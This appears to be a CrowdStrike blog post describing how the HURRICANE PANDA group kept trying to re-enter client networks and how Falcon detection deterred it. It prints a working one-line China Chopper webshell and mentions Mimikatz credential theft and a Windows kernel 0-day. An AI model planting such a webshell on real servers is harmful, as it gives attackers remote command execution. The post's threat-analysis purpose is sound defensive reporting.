Most companies tend to think of intrusions as discrete and infrequent events. The narrative often goes like this: a company gets breached, the intrusion gets detected, an incident response team is brought in to investigate and remediate and, finally, the customers and the public are assured the intrusion is over and the company is now secure.
Reality is different. The adversaries, especially the nation-state types, don’t consider the battle or their mission to be over just because they got kicked out of the network. After all, they have a job to do: get in, and stay in no matter how hard it is or how many roadblocks they face. Thus, they work hard, often for weeks and months, to regain their lost access. More often than not, they succeed, and the compromise and ongoing exfiltration of data resumes, with the victim none the wiser.
And till now, the only way to ‘win’ was to prepare yourself for the long fight, with an understanding that the adversaries won’t relent and you have to be vigilant and alert to beat back each and every wave of attack.
But there may be another alternative – to raise the cost to the adversaries to such an extent – by burning their tradecraft and tools, as well as causing them to waste an inordinate amount of their time and efforts on unsuccessful intrusion attempts – that you can deter them from executing further campaigns against targets that they don’t view as absolutely vital to their mission.
This is a story of one successful execution of this deterrence strategy against one particular actor that we call HURRICANE PANDA. We have investigated their intrusions since 2013 and have been battling them nonstop over the last year at several large telecommunications and technology companies. The determination of this China-based adversary is truly impressive: they are like a dog with a bone.
One of these companies identified a potential breach in late April 2014 and brought in our CrowdStrike Services team to investigate and remediate the intrusion. The client immediately deployed our CrowdStrike Falcon™ next-generation endpoint security technology across their host infrastructure, which provided them with full visibility into all adversary activity: the commands they executed, credentials they stole, and lateral movement they attempted were all recorded. This visibility allowed us to move to the remediation stage of the investigation in record time. Thus by early June 2014 the remediation process had been completed, enterprise-wide password reset executed at once and the adversary had lost all access to the victim network.
However, the fight didn’t stop there.
As is often the case with these investigations, the client chose to keep CrowdStrike Falcon on their hosts for ongoing protection and real-time monitoring, and within hours of the adversary lockout, the product detected the adversary’s renewed attempts to regain access. This time, the target was alert, and with the help of our expert adversary hunters in the 24/7 CrowdStrike Strategic Operations Center was able to stop the intruders within minutes of each compromise attempt.
HURRICANE PANDA’s preferred initial vector of compromise and persistence is a China Chopper webshell – a tiny and easily obfuscated 70 byte text file that consists of an ‘eval()’ command, which is then used to provide full command execution and file upload/download capabilities to the attackers. This script is typically uploaded to a web server via a SQL injection or WebDAV vulnerability, which is often trivial to uncover in a company with a large external web presence.
<%@Page Language="Jscript"%> <%eval(Request.Item["password"],"unsafe"); %>
Example of a typical China Chopper webshell script
Once inside, the adversary immediately moves on to execution of a credential theft tool such as Mimikatz (repacked to avoid AV detection). If they are lucky to have caught an administrator who might be logged into that web server at the time, they will have gained domain administrator credentials and can now roam your network at will via ‘net use’ and ‘wmic’ commands executed through the webshell terminal.
In our client’s case, CrowdStrike Falcon immediately detected execution of the immediate use of the webshell through an Indicator of Attack (IOA) and the adversary was shut down before credential theft or lateral movement could even take place. (Had the adversary succeeded in gaining access, they would have triggered other IOAs for that activity as well).
After about four months of consistent but futile attempts to get back in, the attackers elevated their tradecraft and brought in a Windows Kernel 0-day vulnerability (CVE-2014-4113). CrowdStrike discovered and reported this vulnerability to Microsoft. But, even the 0-day did not help them to achieve their objective and soon afterwards they finally abandoned their efforts to regain access to the customer network.
CrowdStrike Falcon detecting adversary intrusion and 0-day use at a client site
Not long after that last attempt, CrowdStrike was called in by another customer in a similar technology sector who had experienced a very similar intrusion by HURRICANE PANDA. Once again, our CrowdStrike Services team rapidly rolled out CrowdStrike Falcon within the enterprise and with its help was able to quickly execute a remediation event weeks earlier than otherwise.
Yet here again the adversaries refused to give up and continued their efforts to get back into the environment. After another month of fruitless efforts we saw a very interesting event in late January of this year. HURRICANE PANDA once again managed to get a webshell on a webserver, opened up a virtual terminal and immediately executed commands to check if CrowdStrike was loaded in memory.
What was most fascinating was the attackers’ response to seeing CrowdStrike protecting the victim system: they immediately got off that system and ceased all further activity.
While a few events don’t make a trend yet, it is certainly exciting to see how attackers are now finding the need to react to a system that is detecting their activity not just based on known IOCs, but based on revealing the intent of their action – credential theft, persistence, code execution, lateral movement, data destruction, and so on. A system that is able to record all of their execution activities and permanently burn tradecraft and 0-day vulnerabilities like CVE-2014-4113 and raise significant cost to the adversaries.
This may well be a very promising path forward to a new defensive security model: one that results in a deterrent effect against even the most persistent adversaries.
If you believe your organization may be facing persistent adversaries that don’t go away, request a 1-1 demo of CrowdStrike Falcon today and let’s discuss your specific needs.